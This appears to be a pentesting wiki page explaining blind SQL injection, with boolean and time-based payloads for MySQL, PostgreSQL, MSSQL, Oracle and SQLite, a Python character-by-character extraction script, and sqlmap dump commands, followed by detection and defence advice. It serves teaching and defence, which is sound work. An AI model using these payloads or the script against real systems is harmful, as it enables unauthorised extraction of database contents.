the_open_door
coffee
ESEN
← Back to index

Blind SQL Injection (Boolean-based)

ATT&CKT1190
Full command arsenal in the cheatsheet

A SQL injection happens when user input is concatenated into a SQL query without sanitisation, so the attacker alters the query. When the application returns neither the data nor the error (we never see the query result), the injection is blind: the information has to be inferred through a side channel, and the technique (boolean or time-based) and functions depend on the engine.

The boolean oracle

The channel is the difference in behaviour between a true and a false condition. If ... AND 1=1 responds one way ("Successfully sent password") and ... AND 1=2 another, we have a yes/no oracle:

' AND 1=1-- -                      # "true" response
' AND 1=2-- -                      # "false" response -> oracle exists
' AND (SELECT 1 FROM users LIMIT 1)=1-- -    # confirm the table exists

Character-by-character extraction

With the oracle you pull any value with SUBSTR/SUBSTRING, comparing position against character (first the length with LENGTH() to know when to stop):

' AND LENGTH((SELECT database()))=8-- -                       # length
' AND SUBSTR((SELECT database()),1,1)='a'-- -                 # position 1 = 'a'?
' AND ASCII(SUBSTR((SELECT database()),1,1))>109-- -          # binary search (faster)
import requests
url = "http://<ip>/reset"; known = ""
for pos in range(1, 40):
    lo, hi = 32, 126
    while lo <= hi:                       # binary search per position
        mid = (lo + hi)//2
        p = f"' AND ASCII(SUBSTR((SELECT database()),{pos},1))>{mid}-- -"
        if "Successfully" in requests.post(url, data={"user": p}).text:
            lo = mid + 1
        else:
            hi = mid - 1
    if lo == 32: break
    known += chr(lo); print(known)

Time-based (by engine)

When there is not even a visible difference, force a conditional delay and measure the time. Each engine has its own function:

# MySQL / MariaDB
' AND IF(SUBSTR((SELECT database()),1,1)='a',SLEEP(5),0)-- -
' OR SLEEP(5)-- -
# PostgreSQL
'; SELECT CASE WHEN (SUBSTR(current_database(),1,1)='a') THEN pg_sleep(5) ELSE pg_sleep(0) END-- -
# MSSQL (SQL Server)
'; IF (SUBSTRING(DB_NAME(),1,1)='a') WAITFOR DELAY '0:0:5'-- -
# Oracle
' AND 1=(CASE WHEN (SUBSTR((SELECT user FROM dual),1,1)='S') THEN dbms_pipe.receive_message('a',5) ELSE 1 END)-- -
# SQLite (no sleep: a heavy query as the delay)
' AND 1=(SELECT CASE WHEN (SUBSTR(sqlite_version(),1,1)='3') THEN (SELECT count(*) FROM randomblob(100000000)) ELSE 1 END)-- -

Automation

sqlmap -u 'http://<ip>/reset' --data 'user=x' --technique=B --level=5 --risk=3 --dump
sqlmap -u 'http://<ip>/reset' --data 'user=x' --technique=T --time-sec=3 -D <db> --tables

sqlmap automates detection and extraction, but understanding the oracle by hand (and writing your own script) is key when the filter or the request format breaks the automatic heuristics.

How to detect it. Blind SQLi is noisy in the logs because it needs thousands of near-identical requests: the same endpoint varying one parameter character by character (SUBSTR(...)=, ASCII(...)>, AND 1=1/AND 1=2) is an unmistakable pattern in the web server's access log. A WAF flags SQL signatures (UNION, SLEEP(, pg_sleep, WAITFOR DELAY, information_schema, stray quotes, -- - comments) in the query string or body. The time-based variant adds a very clear performance signal: responses whose latency jumps to exact multiples of the SLEEP(). On the database side, the query log shows malformed statements or information_schema access from the application account. The key is the volume and repetition against a single parameter, not one isolated request.

Defence. Use parameterized queries (prepared statements) instead of concatenating input; apply least privilege to the database user; and normalise responses so a boolean oracle is not exposed. Related to the hash extraction and cracking that usually follows and to UNION SQLi when there is reflection.

Toolssqlmap

Machines where it's used